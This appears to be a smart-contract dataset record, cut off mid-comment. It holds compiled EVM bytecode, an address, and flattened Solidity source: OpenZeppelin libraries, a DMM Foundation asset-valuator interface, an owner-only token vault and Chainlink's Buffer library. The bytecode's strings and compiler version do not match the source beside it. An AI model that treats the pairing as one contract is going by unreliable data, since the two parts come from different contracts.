1b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152603360205260409020611ba4908263ffffffff611d5016565b156106fc57611bb1611b13565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b600061113983836120b4565b60735460ff1615611c245760405162461bcd60e51b81526004016105df90612bfb565b80356000908152606960205260409020546001600160a01b031680611c5b5760405162461bcd60e51b81526004016105df90612e25565b611ceb611c6b60208401846131b0565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060408051808201909152601981527f4359434c455f535445505f455845435554455f4641494c45440000000000000060208201526001600160a01b038616939250905063ffffffff6120fe16565b507f1cf910d5438b816ceecc79a921c92b1cbc45457fca72ab0426bac05b20815ac2823582611d1d60208601866131b0565b60405161083a949392919061299e565b6000611139838361219d565b600061113c82612263565b60006111398383612267565b6000611139836001600160a01b03841661219d565b6072546065819055606754611d80919063ffffffff6122ac16565b6072556066546000908152606a60205260409020611d9f90838361248f565b50606654611db490600163ffffffff6122ac16565b6066556068805460ff191690557f4379636c6520436f6d706c657465000000000000000000000000000000000000611deb81611ed4565b7fc734b03856e02ea77b6d7d0f8acd6ea502c4e4167bb14a876c91e2950b310f2542604051611e1a919061297e565b60405180910390a1505050565b6000611139836001600160a01b0384166122d1565b6115338363a9059cbb60e01b8484604051602401611e5b929190612841565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526122e9565b6000611139836001600160a01b0384166120b4565b606f54610100900460ff16156105f9576070546001600160a01b0316611f0c5760405162461bcd60e51b81526004016105df90612dee565b6071546001600160a01b0316611f345760405162461bcd60e51b81526004016105df90612dee565b606060405180606001604052808381526020016066548152602001606554815250604051602001611f6591906130f4565b60408051601f19818403018152908290526070546071547fb47204770000000000000000000000000000000000000000000000000000000084529193506001600160a01b039081169263b472047792611fc4921690859060040161281f565b600060405180830381600087803b158015611fde57600080fd5b505af1158015611ff2573d6000803e3d6000fd5b505050505050565b600061200530612378565b15905090565b600054610100900460ff16806120245750612024611ffa565b80612032575060005460ff16155b61204e5760405162461bcd60e51b81526004016105df90612d91565b600054610100900460ff16158015612079576000805460ff1961ff0019909116610100171660011790555b80156105f9576000805461ff001916905550565b6120ae846323b872dd60e01b858585604051602401611e5b939291906127fb565b50505050565b60006120c083836122d1565b6120f65750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561113c565b50600061113c565b606061210984612378565b6121255760405162461bcd60e51b81526004016105df90612e93565b60006060856001600160a01b03168560405161214191906127b1565b600060405180830381855af49150503d806000811461217c576040519150601f19603f3d011682016040523d82523d6000602084013e612181565b606091505b509150915061219182828661237e565b925050505b9392505050565b6000818152600183016020526040812054801561225957835460001980830191908101906000908790839081106121d057fe5b90600052602060002001549050808760000184815481106121ed57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061221d57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061113c565b600091505061113c565b5490565b8154600090821061228a5760405162461bcd60e51b81526004016105df90612a65565b82600001828154811061229957fe5b9060005260206000200154905092915050565b6000828201838110156111395760405162461bcd60e51b81526004016105df90612bc4565b60009081526001919091016020526040902054151590565b606061233e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166123b79092919063ffffffff16565b805190915015611533578080602001905181019061235c9190612603565b6115335760405162461bcd60e51b81526004016105df90612fcc565b3b151590565b6060831561238d575081612196565b82511561239d5782518084602001fd5b8160405162461bcd60e51b81526004016105df91906129e4565b60606123c684846000856123ce565b949350505050565b6060824710156123f05760405162461bcd60e51b81526004016105df90612cd7565b6123f985612378565b6124155760405162461bcd60e51b81526004016105df90612f5e565b60006060866001600160a01b0316858760405161243291906127b1565b60006040518083038185875af1925050503d806000811461246f576040519150601f19603f3d011682016040523d82523d6000602084013e612474565b606091505b509150915061248482828661237e565b979650505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124d05782800160ff198235161785556124fd565b828001600101855582156124fd579182015b828111156124fd5782358255916020019190600101906124e2565b5061250992915061250d565b5090565b610b4c91905b808211156125095760008155600101612513565b600060208284031215612538578081fd5b813561113981613238565b60008060408385031215612555578081fd5b823561256081613238565b9150602083013561257081613238565b809150509250929050565b6000806020838503121561258d578182fd5b823567ffffffffffffffff808211156125a4578384fd5b81850186601f8201126125b5578485fd5b80359250818311156125c5578485fd5b86602080850283010111156125d8578485fd5b60200196919550909350505050565b6000602082840312156125f8578081fd5b81356111398161324d565b600060208284031215612614578081fd5b81516111398161324d565b600060208284031215612630578081fd5b5035919050565b60008060408385031215612649578182fd5b82359150602083013561257081613238565b6000806040838503121561266d578182fd5b50508035926020909101359150565b60006020828403121561268d578081fd5b815161113981613238565b600080602083850312156126aa578182fd5b823567ffffffffffffffff808211156126c1578384fd5b81850186601f8201126126d2578485fd5b80359250818311156126e2578485fd5b8660208483010111156125d8578485fd5b600060208284031215612704578081fd5b813567ffffffffffffffff81111561271a578182fd5b808301602081860312156123c6578283fd5b60006020828403121561273d578081fd5b813567ffffffffffffffff811115612753578182fd5b80830160a081860312156123c6578283fd5b600060208284031215612776578081fd5b5051919050565b815260200190565b6000815180845261279d81602086016020860161320c565b601f01601f19169290920160200192915050565b600082516127c381846020870161320c565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006001600160a01b0384168252604060208301526123c66040830184612785565b6001600160a01b03929092168252602082015260400190565b6040808252810183905260008460608301825b8681101561289d576020833561288281613238565b6001600160a01b03168352928301929091019060010161286d565b5060209150838103828501528085516128b6818461297e565b91508387019250845b818110156128e0576128d283855161277d565b9385019392506001016128bf565b509098975050505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561292f5783516001600160a01b03168352928401929184019160010161290a565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561292f57835183529284019291840191600101612957565b901515815260200190565b90815260200190565b9182526001600160a01b0316602082015260400190565b60008582526001600160a01b03851660208301526060604083015282606083015282846080840137818301608090810191909152601f909201601f191601019392505050565b6000602082526111396020830184612785565b60208082526013908201527f5052454d41545552455f455845435554494f4e00000000000000000000000000604082015260600190565b6020808252600e908201527f4e4f545f41444d494e5f524f4c45000000000000000000000000000000000000604082015260600190565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60408201527f6473000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526012908201527f4e4f545f4d49445f4359434c455f524f4c450000000000000000000000000000604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201527f2061646d696e20746f206772616e740000000000000000000000000000000000606082015260800190565b6020808252600f908201527f494e56414c49445f414444524553530000000000000000000000000000000000604082015260600190565b60208082526017908201527f4e4f545f53544152545f524f4c4c4f5645525f524f4c45000000000000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600e908201527f464f5242494444454e5f43414c4c000000000000000000000000000000000000604082015260600190565b60208082526014908201527f44455354494e4154494f4e535f4e4f545f534554000000000000000000000000604082015260600190565b60208082526011908201527f4e4f545f524f4c4c4f5645525f524f4c45000000000000000000000000000000604082015260600190565b60208082526008908201527f4144445f4641494c000000000000000000000000000000000000000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60408201527f722063616c6c0000000000000000000000000000000000000000000000000000606082015260800190565b60208082526030908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201527f2061646d696e20746f207265766f6b6500000000000000000000000000000000606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201527f647920696e697469616c697a6564000000000000000000000000000000000000606082015260800190565b6020808252600f908201527f414444524553535f4e4f545f5345540000000000000000000000000000000000604082015260600190565b60208082526012908201527f494e56414c49445f434f4e54524f4c4c45520000000000000000000000000000604082015260600190565b6020808252600b908201527f52454d4f56455f4641494c000000000000000000000000000000000000000000604082015260600190565b60208082526026908201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60408201527f6e74726163740000000000000000000000000000000000000000000000000000606082015260800190565b60208082526013908201527f5345545f4245464f52455f524f4c4c4f56455200000000000000000000000000604082015260600190565b6020808252600f908201527f4359434c455f544f4f5f53484f52540000000000000000000000000000000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600e908201527f4d5553545f42455f465554555245000000000000000000000000000000000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201527f20726f6c657320666f722073656c660000000000000000000000000000000000606082015260800190565b6020808252600c908201527f494e56414c49445f504f4f4c0000000000000000000000000000000000000000604082015260600190565b81518152602080830151908201526040918201519181019190915260600190565b6000808335601e1984360301811261312b578283fd5b8084018035925067ffffffffffffffff831115613146578384fd5b602081019350505060208102360382131561316057600080fd5b9250929050565b6000808335601e1984360301811261317d578283fd5b8084018035925067ffffffffffffffff831115613198578384fd5b60200192505060408102360382131561316057600080fd5b6000808335601e198436030181126131c6578283fd5b8084018035925067ffffffffffffffff8311156131e1578384fd5b6020019250503681900382131561316057600080fd5b60008235603e198336030181126127c3578182fd5b60005b8381101561322757818101518382015260200161320f565b838111156120ae5750506000910152565b6001600160a01b03811681146105f957600080fd5b80151581146105f957600080fdfea2646970667358221220dc2a033330befa3d5bad9bf56847506c603e69d76977b5b43d0541e1d26f794164736f6c634300060b0033
[ 22, 5 ]
0xf31D3f919A0b986D3655Fd6c1Cfda2edF2dAcCB5
// File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/protocol/interfaces/IOffChainAssetValuatorV2.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; interface IOffChainAssetValuatorV2 { // ************************* // ***** Events // ************************* event AssetsValueUpdated(uint newAssetsValue); event AssetTypeSet(uint tokenId, string assetType, bool isAdded); // ************************* // ***** Admin Functions // ************************* function initialize( address owner, address guardian, address linkToken, uint oraclePayment, uint offChainAssetsValue, bytes32 offChainAssetsValueJobId ) external; /** * @dev Adds an asset type to be supported by the provided principal / affiliate. Use `tokenId` 0 to denote all * asset introducers. */ function addSupportedAssetTypeByTokenId( uint tokenId, string calldata assetType ) external; /** * @dev Removes an asset type to be supported by the provided principal / affiliate. Use `tokenId` 0 to denote all * asset introducers. */ function removeSupportedAssetTypeByTokenId( uint tokenId, string calldata assetType ) external; /** * Sets the oracle job ID for getting all collateral for the ecosystem. */ function setCollateralValueJobId( bytes32 jobId ) external; /** * Sets the amount of LINK to be paid for the `collateralValueJobId` */ function setOraclePayment( uint oraclePayment ) external; function submitGetOffChainAssetsValueRequest( address oracle ) external; function fulfillGetOffChainAssetsValueRequest( bytes32 requestId, uint offChainAssetsValue ) external; // ************************* // ***** Misc Functions // ************************* /** * @return The amount of LINK to be paid for fulfilling this oracle request. */ function oraclePayment() external view returns (uint); /** * @return The timestamp at which the oracle was last pinged */ function lastUpdatedTimestamp() external view returns (uint); /** * @return The block number at which the oracle was last pinged */ function lastUpdatedBlockNumber() external view returns (uint); /** * @return The off-chain assets job ID for getting all assets. NOTE this will be broken down by asset introducer * (token ID) in the future so this function will be deprecated. */ function offChainAssetsValueJobId() external view returns (bytes32); /** * @dev Gets the DMM ecosystem's collateral's value from Chainlink's on-chain data feed. * * @return The value of all of the ecosystem's collateral, as a number with 18 decimals */ function getOffChainAssetsValue() external view returns (uint); /** * @dev Gets the DMM ecosystem's collateral's value from Chainlink's on-chain data feed. * * @param tokenId The ID of the asset introducer whose assets should be valued or use 0 to denote all introducers. * @return The value of the asset introducer's ecosystem collateral, as a number with 18 decimals. */ function getOffChainAssetsValueByTokenId( uint tokenId ) external view returns (uint); /** * @param tokenId The token ID of the asset introducer; 0 to denote all of them * @param assetType The asset type for the collateral (lien) held by the DMM DAO * @return True if the asset type is supported, or false otherwise */ function isSupportedAssetTypeByAssetIntroducer( uint tokenId, string calldata assetType ) external view returns (bool); /** * @return All of the different asset types that can be used by the DMM Ecosystem. */ function getAllAssetTypes() external view returns (string[] memory); } // File: contracts/protocol/impl/AtmLike.sol /* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; contract AtmLike is Ownable { using SafeERC20 for IERC20; function deposit(address token, uint amount) public onlyOwner { IERC20(token).safeTransferFrom(_msgSender(), address(this), amount); } function withdraw(address token, address recipient, uint amount) public onlyOwner { IERC20(token).safeTransfer(recipient, amount); } } // File: chainlink/v0.5/contracts/vendor/Buffer.sol pragma solidity ^0.5.0; /** * @dev A library for working with mutable byte buffers in Solidity. * * Byte buffers are mutable and expandable, and provide a variety of primitives * for writing to them. At any time you can fetch a bytes object containing the * current contents of the buffer. The bytes object should not be stored between * operations, as it may change due to resizing of the buffer. */ library Buffer { /** * @dev Represents a mutable buffer. Buffers have a current value (buf) and * a capacity. The capacity may be longer than the current value, in * which case it can be extended without the need to allocate more memory. */ struct buffer { bytes buf; uint capacity; } /** * @dev Initializes a buffer with an initial capacity. * @param buf The buffer to initialize. * @param capacity The number of bytes of space to allocate the buffer. * @return The buffer, for chaining. */ function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) { if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(32, add(ptr, capacity))) } return buf; } /** * @dev Initializes a new buffer from an existing bytes object. * Changes to the buffer may mutate the original value. * @param b The bytes object to initialize the buffer with. * @return A new buffer. */ function fromBytes(bytes memory b) internal pure returns(buffer memory) { buffer memory buf; buf.buf = b; buf.capacity = b.length; return buf; } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if (a > b) { return a; } return b; } /** * @dev Sets buffer length to 0. * @param buf The buffer to truncate. * @return The original buffer, for chaining.. */ function truncate(buffer memory buf) internal pure returns (buffer memory) { assembly { let bufptr := mload(buf) mstore(bufptr, 0) } return buf; } /** * @dev Writes a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The start offset to write to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) { require(len <= data.length); if (off + len > buf.capacity) { resize(buf, max(buf.capacity, len + off) * 2); } uint dest; uint src; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + offset + sizeof(buffer length) dest := add(add(bufptr, 32), off) // Update buffer length if we're extending it if gt(add(len, off), buflen) { mstore(bufptr, add(len, off)) } src := add(data, 32) } // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data, uint len) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, len); } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, data.length); } /** * @dev Writes a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write the byte at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) { if (off >= buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + sizeof(buffer length) + off let dest := add(add(bufptr, off), 32) mstore8(dest, data) // Update buffer length if we extended it if eq(off, buflen) { mstore(bufptr, add(buflen, 1)) } } return buf; } /** * @dev Appends a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) { return writeUint8(buf, buf.buf.length, data); } /** * @dev Writes up to 32 bytes to the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param off The 